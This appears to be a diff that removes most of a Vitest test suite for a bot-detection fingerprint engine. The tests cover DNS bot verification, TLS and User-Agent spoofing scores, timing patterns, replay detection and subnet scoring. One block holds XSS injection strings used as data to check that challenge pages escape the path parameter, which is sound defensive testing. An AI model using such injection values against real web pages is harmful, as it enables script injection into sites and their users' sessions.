-            const hostname = 'crawl-66-249-66-1.googlebot.com';
-
-            vi.mocked(dns.reverse).mockResolvedValue([hostname]);
-            vi.mocked(dns.resolve).mockResolvedValue(['66.249.66.2']); // Different IP
-
-            const requestContext = { clientIp: ip, headers: { 'user-agent': 'Googlebot' }, fingerprint: {} };
-            const isVerified = await engine._verifyWhitelistedBot(requestContext);
-            expect(isVerified).toBe(false);
-        });
-
-        test('should use cache for subsequent requests from a verified IP', async () => {
-            const googleIp = '66.249.66.1';
-            const googleHostname = 'crawl-66-249-66-1.googlebot.com';
-            const requestContext = { clientIp: googleIp, headers: { 'user-agent': 'Googlebot' } };
-
-            // First call: perform DNS lookups and cache the result
-            vi.mocked(dns.reverse).mockResolvedValue([googleHostname]);
-            vi.mocked(dns.resolve).mockResolvedValue([googleIp]);
-            await engine._verifyWhitelistedBot({ ...requestContext, fingerprint: {} });
-            expect(vi.mocked(dns.reverse)).toHaveBeenCalledTimes(1);
-            expect(vi.mocked(dns.resolve)).toHaveBeenCalledTimes(2);
-
-            // Second call: should use the cache
-            const isVerified = await engine._verifyWhitelistedBot({ ...requestContext, fingerprint: {} });
-            expect(isVerified).toBe(true); // Should still be true
-            // DNS functions should not be called again
-            expect(vi.mocked(dns.reverse)).toHaveBeenCalledTimes(1);
-            expect(vi.mocked(dns.resolve)).toHaveBeenCalledTimes(2);
-        });
-
-        test('should handle invalid regex in whitelist rules gracefully', async () => {
-            const consoleErrorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});
-            const requestContext = {
-                clientIp: '1.2.3.4',
-                headers: { 'user-agent': 'MalformedRegexBot(]' }
-            };
-
-            const isVerified = await engine._verifyWhitelistedBot({ ...requestContext, fingerprint: {} });
-            expect(isVerified).toBe(false);
-            expect(consoleErrorSpy).toHaveBeenCalledWith(expect.stringContaining('[Fingerprint] Invalid regex in whitelist rule'));
-            consoleErrorSpy.mockRestore();
-        });
-    });
-});
-
-describe('getTlsSpoofingScore', () => {
-    let getTlsFingerprintMock; // Renamed to reflect it's the mock function
-    let getTlsSpoofingScore;
-
-    beforeEach(async () => {
-        // Spy on getTlsFingerprint to control its output for these tests
-        getTlsFingerprintMock = vi.spyOn(fingerprint.__internal, 'getTlsFingerprint');
-        getTlsSpoofingScore = fingerprint.__internal.getTlsSpoofingScore;
-    });
-    
-    afterEach(() => {
-        getTlsFingerprintMock.mockRestore(); // Restore the spy after each test
-    });
-
-    it('should return 0 if no TLS fingerprint is available', () => {
-        getTlsFingerprintMock.mockReturnValue({ ja3: null, ja4: null });
-        const context = { headers: { 'user-agent': 'Mozilla/5.0' } };
-        const { tlsSpoofingScore } = getTlsSpoofingScore(context);
-        expect(tlsSpoofingScore).toBe(0);
-    });
-
-    it('should return a high score if TLS fingerprint is present but User-Agent is generic/missing', () => {
-        getTlsFingerprintMock.mockReturnValue({ ja3: 'e188a442b87f422c5a1e80b05399435b', ja4: null }); // A known Chrome JA3
-        const context1 = { headers: { 'user-agent': 'curl/7.64.1' } };
-        const { tlsSpoofingScore: score1 } = getTlsSpoofingScore(context1, getTlsFingerprintMock);
-        expect(score1).toBe(50);
-
-        const context2 = { headers: { 'user-agent': '' } };
-        const { tlsSpoofingScore: score2 } = getTlsSpoofingScore(context2, getTlsFingerprintMock);
-        expect(score2).toBe(50);
-
-        const context3 = { headers: {} };
-        const { tlsSpoofingScore: score3 } = getTlsSpoofingScore(context3, getTlsFingerprintMock);
-        expect(score3).toBe(50);
-    });
-
-    it('should return a high score for browser/OS mismatch between JA3 and User-Agent', () => {
-        // Use a known JA3 for Chrome, but a User-Agent for Firefox
-        getTlsFingerprintMock.mockReturnValue({ ja3: 'e188a442b87f422c5a1e80b05399435b', ja4: null });
-        const context1 = { headers: { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0' } };
-        const { tlsSpoofingScore: score1 } = getTlsSpoofingScore(context1, getTlsFingerprintMock);
-        expect(score1).toBe(80);
-
-        // Use a known JA3 for Firefox, but a User-Agent for Chrome
-        getTlsFingerprintMock.mockReturnValue({ ja3: 'b386946a5a586163c7c533636b45c355', ja4: null });
-        const context2 = { headers: { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36' } };
-        const { tlsSpoofingScore: score2 } = getTlsSpoofingScore(context2, getTlsFingerprintMock);
-        expect(score2).toBe(80);
-    });
-
-    it('should return 0 for consistent JA3 and User-Agent', () => {
-        // Consistent Chrome
-        getTlsFingerprintMock.mockReturnValue({ ja3: 'e188a442b87f422c5a1e80b05399435b', ja4: null });
-        const context1 = { headers: { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36' } };
-        const { tlsSpoofingScore: score1 } = getTlsSpoofingScore(context1, getTlsFingerprintMock);
-        expect(score1).toBe(0);
-
-        // Consistent Firefox
-        getTlsFingerprintMock.mockReturnValue({ ja3: 'b386946a5a586163c7c533636b45c355', ja4: null });
-        const context2 = { headers: { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0' } };
-        const { tlsSpoofingScore: score2 } = getTlsSpoofingScore(context2, getTlsFingerprintMock);
-        expect(score2).toBe(0);
-    });
-});
-
-// Define patternConfig at a higher scope to be accessible by multiple describe blocks
-const patternConfig = {
-    minSamples: 5, // Lower for easier testing
-    regularityThreshold: 50,
-    benfordThreshold: 0.15,
-    patternWeight: 80,
-    decayFactor: 0.9,
-    inactivityReset: 5000,
-};
-
-describe('getRequestPatternScore', () => {
-    let dateNowSpy;
-
-    afterEach(() => {
-        if (dateNowSpy) {
-            dateNowSpy.mockRestore();
-        }
-    });
-
-    test('should return zero score for the first request', () => {
-        const deviceData = { requestHistory: [] };
-        const context = { path: '/home', query: {} };
-        const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
-        expect(requestPatternScore).toBe(0);
-    });
-
-    test('should NOT assign a pattern score if not enough samples are collected', () => {
-        const deviceData = {
-            requestHistory: [],
-            timingHistory: [100, 200, 150] // Only 3 samples, less than minSamples (5)
-        };
-        const context = { path: '/page', query: {} };
-        dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(10000);
-
-        const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
-        expect(requestPatternScore).toBe(0);
-    });
-
-    test('should assign a high pattern score for highly regular (robotic) requests', () => {
-        const deviceData = {
-            requestHistory: [],
-            timingHistory: [100, 100, 100, 100, 100, 100] // stdDev = 0, which is < regularityThreshold
-        };
-        const context = { path: '/page', query: {} };
-        dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(10000);
-
-        const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
-        expect(requestPatternScore).toBe(patternConfig.patternWeight); // 80
-    });
-
-    test('should assign a high pattern score for non-natural (Benford-violating) timings', () => {
-        // This distribution of leading digits (all 9s) violates Benford's law.
-        const deviceData = {
-            requestHistory: [],
-            timingHistory: [901, 923, 911, 954, 987, 932, 945, 965, 978, 999]
-        };
-        const context = { path: '/page', query: {} };
-        dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(10000);
-
-        const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
-        expect(requestPatternScore).toBe(patternConfig.patternWeight); // 80
-    });
-
-    test('should apply decay factor to the score over time', () => {
-        const deviceData = {
-            requestHistory: [{ timestamp: 10000, path: '/home', queryString: '' }],
-            lastPatternScore: 50, // Previous score
-            timingHistory: []
-        };
-        const context = { path: '/contact', query: {} };
-
-        // Simulate a slow, non-pattern-matching request
-        dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(12000);
-
-        const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
-
-        // Expected: (previous score * decay) + 0 (since no new pattern was detected)
-        const expectedScore = 50 * patternConfig.decayFactor; // 50 * 0.9 = 45
-        expect(requestPatternScore).toBe(expectedScore);
-    });
-
-    it('should decay a low score towards zero after inactivity', async () => {
-        const context = { path: '/test', query: {} };
-        const deviceData = { requestHistory: [], timingHistory: [], lastPatternScore: 15 };
-        const lowScore = 15;
-
-        // 2. Attendre
-        await new Promise(r => setTimeout(r, 1600));
-
-        // 3. Le score doit avoir décru (mais pas forcément être exactement 0)
-        const { requestPatternScore: decayedScore } = getRequestPatternScore(context, deviceData, patternConfig);
-        expect(decayedScore).toBeLessThanOrEqual(lowScore);
-        expect(decayedScore).toBeGreaterThanOrEqual(0);
-    });
-}); // <-- AJOUT DE L'ACCOLADE FERMANTE MANQUANTE
-
-describe('determineOptimalTicketTtl', () => {
-    const { determineOptimalTicketTtl } = __internal;
-
-    // Les bornes définies dans la fonction (5min et 24h)
-    const MIN_TTL = 300000;
-    const MAX_TTL = 86400000;
-
-    test('should return a long TTL for a very low suspicion score', () => {
-        const score = 5; // Very low suspicion
-        const ttl = determineOptimalTicketTtl(score);
-
-        // With a low score, the TTL should be close to the maximum.
-        // We expect a TTL of many hours.
-        expect(ttl).toBeGreaterThan(MAX_TTL * 0.75); // Greater than 75% of the max TTL (18 hours)
-        expect(ttl).toBeLessThanOrEqual(MAX_TTL);
-    });
-
-    // Ce test est conçu pour être résilient aux variations de l'algorithme génétique.
-    // Il réessaie jusqu'à 3 fois pour s'assurer que l'échec n'est pas dû à une mauvaise convergence ponctuelle.
-    test('should return a short TTL for a very high suspicion score', async () => {
-        const score = 95; // Very high suspicion
-        const maxAttempts = 5;
-        let lastError = null;
-
-        for (let attempt = 1; attempt <= maxAttempts; attempt++) {
-            try {
-                const ttl = determineOptimalTicketTtl(score);
-                // With a high score, the TTL should be very short, close to the minimum.
-                expect(ttl).toBeLessThan(MIN_TTL * 6); // Less than 6x the minimum TTL (30 minutes)
-                expect(ttl).toBeGreaterThanOrEqual(MIN_TTL);
-                lastError = null; // Success
-                break; // Exit loop on success
-            } catch (e) {
-                lastError = e;
-            }
-        }
-        if (lastError) throw lastError; // If all attempts failed, throw the last error
-    });
-
-    test('should return a TTL within the valid range for a medium score', () => {
-        const score = 50; // Moyennement suspect
-        const ttl = determineOptimalTicketTtl(score);
-
-        expect(ttl).toBeGreaterThanOrEqual(MIN_TTL);
-        expect(ttl).toBeLessThanOrEqual(MAX_TTL);
-    });
-
-    // Ce test est plus difficile à déclencher, mais il valide la robustesse de la fonction.
-    // On peut le simuler en forçant l'algorithme génétique à retourner un tableau vide.
-});
-
-describe('getTimeInconsistencyScore', () => {
-    const REPLAY_THRESHOLD_MS = 5000; // Doit correspondre à la valeur dans fingerprint.js
-
-    it('should return 0 for a normal, fresh request (clientTimestamp slightly before requestTimestamp)', () => {
-        const requestTimestamp = Date.now();
-        const clientTimestamp = requestTimestamp - 100; // 100ms before server reception
-        const context = { requestTimestamp };
-        const metrics = { clientTimestamp };
-
-        const { timeInconsistencyScore } = __internal.getTimeInconsistencyScore(context, metrics);
-        expect(timeInconsistencyScore).toBe(0);
-    });
-
-    it('should return a score > 0 for a replayed request (clientTimestamp significantly before requestTimestamp)', () => {
-        const requestTimestamp = Date.now();
-        const clientTimestamp = requestTimestamp - (REPLAY_THRESHOLD_MS + 1000); // 1 second beyond threshold
-        const context = { requestTimestamp };
-        const metrics = { clientTimestamp };
-
-        const { timeInconsistencyScore } = __internal.getTimeInconsistencyScore(context, metrics);
-        // Expected score: ( (REPLAY_THRESHOLD_MS + 1000) / REPLAY_THRESHOLD_MS - 1) * 50
-        // (6000 / 5000 - 1) * 50 = (1.2 - 1) * 50 = 0.2 * 50 = 10
-        expect(timeInconsistencyScore).toBeGreaterThan(0);
-        // Utiliser toBeCloseTo pour éviter les problèmes de précision des nombres à virgule flottante.
-        expect(timeInconsistencyScore).toBeCloseTo(10);
-    });
-
-    it('should cap the score at 100 for very large time differences', () => {
-        const requestTimestamp = Date.now();
-        const clientTimestamp = requestTimestamp - (REPLAY_THRESHOLD_MS * 5); // 5 times the threshold
-        const context = { requestTimestamp };
-        const metrics = { clientTimestamp };
-
-        const { timeInconsistencyScore } = __internal.getTimeInconsistencyScore(context, metrics);
-        expect(timeInconsistencyScore).toBe(100);
-    });
-
-    it('should return 0 if clientTimestamp is after requestTimestamp (client clock ahead)', () => {
-        const requestTimestamp = Date.now();
-        const clientTimestamp = requestTimestamp + 5000; // Client clock is 5 seconds ahead
-        const context = { requestTimestamp };
-        const metrics = { clientTimestamp };
-
-        const { timeInconsistencyScore } = __internal.getTimeInconsistencyScore(context, metrics);
-        expect(timeInconsistencyScore).toBe(0);
-    });
-
-    it('should return 0 if clientTimestamp or requestTimestamp is missing', () => {
-        const context1 = { requestTimestamp: Date.now() };
-        const metrics1 = {}; // Missing clientTimestamp
-        expect(__internal.getTimeInconsistencyScore(context1, metrics1).timeInconsistencyScore).toBe(0);
-
-        const context2 = {}; // Missing requestTimestamp
-        const metrics2 = { clientTimestamp: Date.now() };
-        expect(__internal.getTimeInconsistencyScore(context2, metrics2).timeInconsistencyScore).toBe(0);
-    });
-});
-describe('Challenge Page Generation Security (XSS)', () => {
-    // Les fonctions sont déjà exportées via __internal
-    const { generateCpuTargetChallengePage, generateCombinedPoWChallengePage } = __internal;
-
-    // Mock readFileSync pour éviter les erreurs de système de fichiers lorsque getPowSolverCode est appelé
-    beforeEach(() => {
-        // Assurez-vous que le mock est actif pour ces tests
-        readFileSync.mockReturnValue('// MOCK SOLVER CODE');
-    });
-
-    afterEach(() => {
-        readFileSync.mockClear();
-    });
-
-    it('should escape the path parameter in generateCpuTargetChallengePage to prevent XSS', () => {
-        const maliciousPath = `"/;alert('XSS');//`;
-        const challengeDetails = {
-            nonce: 'test-nonce',
-            target: '0000',
-            path: maliciousPath,
-        };
-
-        const html = generateCpuTargetChallengePage(challengeDetails, '127.0.0.1');
-
-        // 1. Le script malveillant brut ne doit PAS être présent.
-        expect(html).not.toContain(`window.location.href = "/;alert('XSS');//?pow_type=cpu_target`);
-
-        // 2. Le chemin doit être correctement échappé via JSON.stringify, neutralisant l'attaque.
-        const expectedEscapedString = `window.location.href = ${JSON.stringify(maliciousPath)} + "?pow_type=cpu_target`;
-        expect(html).toContain(expectedEscapedString);
-    });
-
-    it('should escape the path parameter in generateCombinedPoWChallengePage to prevent XSS', () => {
-        const maliciousPath = `test.com";\nconsole.log("pwned");//`;
-        const challengeDetails = { nonce: 'test-nonce', target: '0000', path: maliciousPath };
-
-        const html = generateCombinedPoWChallengePage(challengeDetails, 16, '127.0.0.1', 'secret', {}, '');
-
-        expect(html).not.toContain(`const path = "test.com";`);
-        expect(html).toContain(`const path = ${JSON.stringify(maliciousPath)};`);
-    });
-});
-
-
-describe('Regularity Detection (Standard Deviation)', () => {
-    const regularityConfig = {
-        ...patternConfig,
-        patternWeight: 60,
-        minSamples: 5, // Ensure minSamples is explicitly defined for this test suite
-    };
-
-    let dateNowSpy;
-    it('should apply a high penalty for perfectly regular requests', () => {
-        const deviceData = { requestHistory: [], timingHistory: [1000, 1000, 1000, 1000, 1000] }; // Écart-type = 0
-        const context = { path: '/page', query: {} };
-        dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(11000); // La 6ème requête arrive aussi après 1000ms
-
-        const { requestPatternScore } = getRequestPatternScore(context, deviceData, regularityConfig);
-
-        // stdDev is 0, which is < regularityThreshold, so the full patternWeight is applied.
-        expect(requestPatternScore).toBe(regularityConfig.patternWeight);
-    });
-
-    it('should apply a low penalty for slightly irregular requests', () => {
-        const deviceData = { requestHistory: [], timingHistory: [1000, 1010, 990, 1005, 995] }; // Écart-type faible mais non nul
-        const context = { path: '/page', query: {} };
-        dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(11000);
-        const localConfig = { ...regularityConfig, regularityThreshold: 10 }; // stdDev of this data is ~5.
-
-        const { requestPatternScore } = getRequestPatternScore(context, deviceData, localConfig);
-
-        expect(requestPatternScore).toBe(localConfig.patternWeight);
-    });
-
-    it('should apply no penalty for highly irregular (human-like) requests', () => {
-        const deviceData = { requestHistory: [], timingHistory: [500, 2000, 800, 3500, 1200] }; // Écart-type élevé
-        const context = { path: '/page', query: {} };
-        dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(11000);
-        // The stdDev of this data is high, so it won't trigger the regularity check.
-
-        const { requestPatternScore } = getRequestPatternScore(context, deviceData, regularityConfig);
-
-        expect(requestPatternScore).toBe(0);
-    });
-});
-describe('Dry Run Mode', () => {
-    const inMemoryStore = {
-        _map: new Map(),
-        async get(key) { return this._map.get(key); },
-        async set(key, value) { this._map.set(key, value); },
-    };
-
-    beforeEach(() => {
-        inMemoryStore._map.clear();
-        configureStore(inMemoryStore);
-        vi.spyOn(console, 'log').mockImplementation(() => {});
-    });
-
-    afterEach(() => {
-        vi.restoreAllMocks();
-    });
-
-    it('should log the intended action but return "next" when a request would be blocked', async () => {
-        const securityConfig = {
-            dryRun: true,
-            verbose: true, // Enable logging for the test
-            weights: { honeypotScore: 1.0 },
-            thresholds: { low: 20, block: 95 },
-        };
-        const engine = new FingerprintEngine(securityConfig);
-
-        // Mock a highly suspicious vector that would normally trigger a block
-        vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
-            honeypotScore: 100
-        });
-
-        const requestContext = {
-            clientIp: '1.2.3.4', path: '/', cookies: {}, query: {}, headers: { 'user-agent': 'test-bot' },
-        };
-
-        const decision = await engine.processRequest(requestContext);
-
-        // Assert that the final action is 'next'
-        expect(decision.action).toBe('next');
-        // Assert that the intended action was to 'block'
-        expect(decision.intendedAction).toBe('block');
-        // Assert that the log message indicates a dry run
-        expect(console.log).toHaveBeenCalledWith(
-            expect.stringContaining('[FingerprintEngine] [Dry Run] Intended action: block'),
-            expect.any(Object) // The second argument is the data object
-        );
-    });
-});
-
-describe('getClientHintsInconsistencyScore', () => {
-    const { getClientHintsInconsistencyScore } = __internal;
-
-    it('should return 0 for consistent User-Agent and Client-Hints', () => {
-        const context = {
-            headers: {
-                'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
-                'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"',
-            }
-        };
-        const { clientHintsInconsistencyScore } = getClientHintsInconsistencyScore(context);
-        expect(clientHintsInconsistencyScore).toBe(0);
-    });
-
-    it('should return 80 for a large version mismatch', () => {
-        const context = {
-            headers: {
-                'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',
-                'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"',
-            }
-        };
-        const { clientHintsInconsistencyScore } = getClientHintsInconsistencyScore(context);
-        expect(clientHintsInconsistencyScore).toBe(80);
-    });
-
-    it('should return 40 for a small version mismatch', () => {
-        const context = {
-            headers: {
-                'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36',
-                'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"',
-            }
-        };
-        const { clientHintsInconsistencyScore } = getClientHintsInconsistencyScore(context);
-        expect(clientHintsInconsistencyScore).toBe(40);
-    });
-
-    it('should return 90 for a browser family mismatch', () => {
-        const context = {
-            headers: {
-                'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
-                'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"',
-            }
-        };
-        const { clientHintsInconsistencyScore } = getClientHintsInconsistencyScore(context);
-        expect(clientHintsInconsistencyScore).toBe(90);
-    });
-
-    it('should return 0 if headers are missing or unparsable', () => {
-        const context1 = { headers: { 'user-agent': 'Just Chrome/120' } }; // Missing sec-ch-ua
-        const context2 = { headers: { 'sec-ch-ua': '"Google Chrome";v="120"' } }; // Missing user-agent
-        const context3 = { headers: { 'user-agent': 'UnknownBrowser/1.0', 'sec-ch-ua': '"UnknownBrand";v="1.0"' } }; // Unparsable
-
-        expect(getClientHintsInconsistencyScore(context1).clientHintsInconsistencyScore).toBe(0);
-        expect(getClientHintsInconsistencyScore(context2).clientHintsInconsistencyScore).toBe(0);
-        expect(getClientHintsInconsistencyScore(context3).clientHintsInconsistencyScore).toBe(0);
-    });
-});
-
-describe('Subnet Scoring (Node.js)', () => {
-    const inMemoryStore = {
-        _map: new Map(),
-        async get(key) { return this._map.get(key); },
-        async set(key, value) { this._map.set(key, value); },
-        clear() { this._map.clear(); }
-    };
-
-    beforeEach(async () => {
-        inMemoryStore.clear();
-        // La configuration du store est maintenant asynchrone
-        await configureStore(inMemoryStore); // Configure the shared store for each test
-    });
-
-    it('getIpSubnet should correctly calculate subnets', () => {
-        const { getIpSubnet } = __internal;
-        // IPv4
-        expect(getIpSubnet('192.168.1.123', 24)).toBe('192.168.1.0/24');
-        // The new version handles other prefixes
-        expect(getIpSubnet('10.20.30.40', 16)).toBe('10.20.0.0/16');
-        // IPv6
-        expect(getIpSubnet('2001:db8:abcd:0012:0000:0000:0000:0001', 48)).toBe('2001:db8:abcd:0:0:0:0:0/48');
-        // The new version handles other prefixes
-        expect(getIpSubnet('2a01:e0a:129:57c0:a1b2:c3d4:e5f6:a7b8', 64)).toBe('2a01:e0a:129:0:0:0:0:0/48');
-        // Invalid IPs
-        expect(getIpSubnet('not-an-ip')).toBeNull();
-    });
-
-    it('updateSubnetMetrics should create and update subnet data in the store', async () => {
-        const context = { clientIp: '10.0.0.25' };
-        await __internal.updateSubnetMetrics(context, 'device-1', 50);
-
-        const subnetData = await inMemoryStore.get('subnet:10.0.0.0/24');
-        expect(subnetData).toBeDefined();
-        expect(subnetData.highScoreCount).toBe(1);
-        expect(subnetData.deviceIds).toEqual(['device-1']);
-
-        // Second update
-        await __internal.updateSubnetMetrics(context, 'device-2', 60);
-        const updatedSubnetData = await inMemoryStore.get('subnet:10.0.0.0/24');
-        expect(updatedSubnetData.highScoreCount).toBe(2);
-        expect(updatedSubnetData.deviceIds).toEqual(['device-1', 'device-2']);
-    });
-
-    it('getSubnetScore should calculate score based on stored metrics', async () => {
-        const context = { clientIp: '10.0.0.25' };
-
-        // 1. No data, score should be 0
-        let { subnetScore } = await __internal.getSubnetScore(context, 'device-1');
-        expect(subnetScore).toBe(0);
-
-        // 2. Some high scores, few devices. The subnet is calculated from the context.
-        // The key is hardcoded here to match what the implementation would store.
-        await inMemoryStore.set('subnet:10.0.0.0/24', {
-            highScoreCount: 5, // score += 5 * 2 = 10
-            deviceIds: ['d1', 'd2'], // count < 10, score += 0
-        });
-        ({ subnetScore } = await __internal.getSubnetScore(context, 'device-1'));
-        expect(subnetScore).toBe(10);
-
-        // 3. Many devices and high scores
-        const deviceIds = Array.from({ length: 20 }, (_, i) => `d${i}`);
-        await inMemoryStore.set('subnet:10.0.0.0/24', {
-            highScoreCount: 30, // score += min(40, 30 * 2) = 40
-            deviceIds: deviceIds, // count = 20. score += (20-10)*5 = 50
-        });
-        ({ subnetScore } = await __internal.getSubnetScore(context, 'device-1'));
-        expect(subnetScore).toBe(90); // 40 + 50
-    });
-});
-
-describe('Firefox TE Header Anomaly', () => {
-    const securityConfig = {
-        weights: { headerAnomalyScore: 1.0 },
-        thresholds: { low: 20, medium: 45, high: 75 }
-    };
-
-    it('should penalize Firefox desktop UA without TE: trailers', async () => {
-        const context = {
-            clientIp: '1.1.1.1',
-            path: '/',
-            headers: {
-                'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
-                'accept-language': 'en-US,en;q=0.9',
-            },
-            cookies: { device_id: 'some-device' },
-        };
-        const vector = await __internal.getSuspicionVector(context, securityConfig);
-        expect(vector.headerAnomalyScore).toBe(30);
-    });
-
-    it('should not penalize Firefox desktop UA with TE: trailers', async () => {
-        const context = {
-            clientIp: '1.1.1.1',
-            path: '/',
-            headers: {
-                'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
-                'accept-language': 'en-US,en;q=0.9',
-                'te': 'trailers',
-            },
-            cookies: { device_id: 'some-device' },
-        };
-        const vector = await __internal.getSuspicionVector(context, securityConfig);
-        expect(vector.headerAnomalyScore).toBe(0);
-    });
-
-    it('should penalize non-Firefox desktop UA with TE: trailers', async () => {
-        const context = {
-            clientIp: '1.1.1.1',
-            path: '/',
-            headers: {
-                'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
-                'accept-language': 'en-US,en;q=0.9',
-                'te': 'trailers',
-            },
-            cookies: { device_id: 'some-device' },
-        };
-        const vector = await __internal.getSuspicionVector(context, securityConfig);
-        expect(vector.headerAnomalyScore).toBe(30);
-    });
-});
-
-describe('FingerprintEngine.processRequest - updateSubnetMetrics call logic', () => {
-    const inMemoryStore = {
-        _map: new Map(),
-        async get(key) { return this._map.get(key); },
-        async set(key, value) { this._map.set(key, value); },
-        async has(key) { return this._map.has(key); },
-        async delete(key) { this._map.delete(key); },
-    };
-
-    let securityConfig;
-    let engine;
-    let updateSubnetMetricsSpy;
-    let getSuspicionVectorSpy;
-    let calculateFinalScoreSpy;
-
-    beforeEach(() => {
-        inMemoryStore._map.clear();
-        configureStore(inMemoryStore);
-
-        securityConfig = {
-            weights: { historyScore: 1.0 },
-            thresholds: { low: 20, medium: 45, high: 75, block: 95 }, // Default blockThreshold
-        };
-        engine = new FingerprintEngine(securityConfig);
-
-        // Spy on the internal updateSubnetMetrics function
-        updateSubnetMetricsSpy = vi.spyOn(__internal, 'updateSubnetMetrics').mockResolvedValue(undefined);
-        // Spy on getSuspicionVector to control the input to calculateFinalScore
-        getSuspicionVectorSpy = vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({});
-        // Spy on calculateFinalScore to directly control the finalScore
-        calculateFinalScoreSpy = vi.spyOn(engine, 'calculateFinalScore');
-    });
-
-    afterEach(() => {
-        updateSubnetMetricsSpy.mockRestore();
-        getSuspicionVectorSpy.mockRestore();
-        calculateFinalScoreSpy.mockRestore();
-    });
-
-    it('should call updateSubnetMetrics if finalScore is between lowThreshold and blockThreshold', async () => {
-        calculateFinalScoreSpy.mockReturnValue(50); // Score between 20 and 95
-        const requestContext = { clientIp: '192.168.1.1', cookies: {}, query: {}, headers: {} };
-
-        await engine.processRequest(requestContext);
-
-        expect(updateSubnetMetricsSpy).toHaveBeenCalledTimes(1);
-        expect(updateSubnetMetricsSpy).toHaveBeenCalledWith(requestContext, expect.any(String), 50);
-    });
-
-    it('should NOT call updateSubnetMetrics if finalScore is equal to or above blockThreshold', async () => {
-        calculateFinalScoreSpy.mockReturnValue(95); // Score equals blockThreshold
-        const requestContext = { clientIp: '192.168.1.1', cookies: {}, query: {}, headers: {} };
-
-        await engine.processRequest(requestContext);
-
-        expect(updateSubnetMetricsSpy).not.toHaveBeenCalled();
-
-        calculateFinalScoreSpy.mockReturnValue(100); // Score above blockThreshold
-        await engine.processRequest(requestContext);
-
-        expect(updateSubnetMetricsSpy).not.toHaveBeenCalled();
-    });
-});
-
-describe('Additional Suspicion Vectors Coverage', () => {
-    const inMemoryStore = {
-        _map: new Map(),
-        async get(key) { return this._map.get(key); },
-        async set(key, value) { this._map.set(key, value); },
-        async has(key) { return this._map.has(key); },
-        async delete(key) { this._map.delete(key); },
-    };
-
-    beforeEach(() => {
-        inMemoryStore._map.clear();
-        configureStore(inMemoryStore);
-    });
-
-    it('should calculate a high rotationScore for rapid fingerprint changes', async () => {
-        const context = {
-            clientIp: '127.0.0.1',
-            cookies: { device_id: 'rotating-device' },
-            headers: { 'user-agent': 'test-ua' }
-        };
-
-        await inMemoryStore.set('device:rotating-device', {
-            initialDeviceHash: 'hash-A',
-            ips: new Set(['127.0.0.1']),
-            lastUpdate: Date.now(),
-            lastFpHash: 'hash-A',
-            lastChangeTimestamp: Date.now(),
-            rapidChangeCount: 3,
-        });
-
-        const vector = await __internal.getSuspicionVector(context, {
-            weights: { rotationScore: 1.0 },
-            thresholds: { low: 20 }
-        });
-
-        expect(vector.rotationScore).toBe(100);
-    });
-
-    it('should calculate a high botScore when bot or cdp markers are present in device fingerprint', async () => {
-        const contextBot = {
-            clientIp: '127.0.0.1',
-            headers: { 'x-device-fingerprint': 'ua:123|bot:true' }
-        };
-        const contextCdp = {
-            clientIp: '127.0.0.1',
-            headers: { 'x-device-fingerprint': 'ua:123|cdp:true' }
-        };
-
-        const vectorBot = await __internal.getSuspicionVector(contextBot, { weights: { botScore: 1.0 } });
-        const vectorCdp = await __internal.getSuspicionVector(contextCdp, { weights: { botScore: 1.0 } });
-
-        expect(vectorBot.botScore).toBe(100);
-        expect(vectorCdp.botScore).toBe(100);
-    });
-
-    it('should calculate a high crossLayerInconsistencyScore when OS mismatch is detected', () => {
-        const context = {
-            headers: {
-                'x-device-fingerprint': `os:${cyrb53("Windows")}`,
-                'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15'
-            }
-        };
-
-        const { crossLayerInconsistencyScore } = __internal.getCrossLayerInconsistency(context);
-        expect(crossLayerInconsistencyScore).toBe(50);
-    });
-});
+import {afterEach, assert, beforeEach, describe, expect, it, test, vi} from 'vitest';
+import {createHash, createHmac} from 'node:crypto';
+import {solveCpuTargetInline, solveMemory} from '../pow.solver.js';
+import {readFileSync} from 'node:fs';
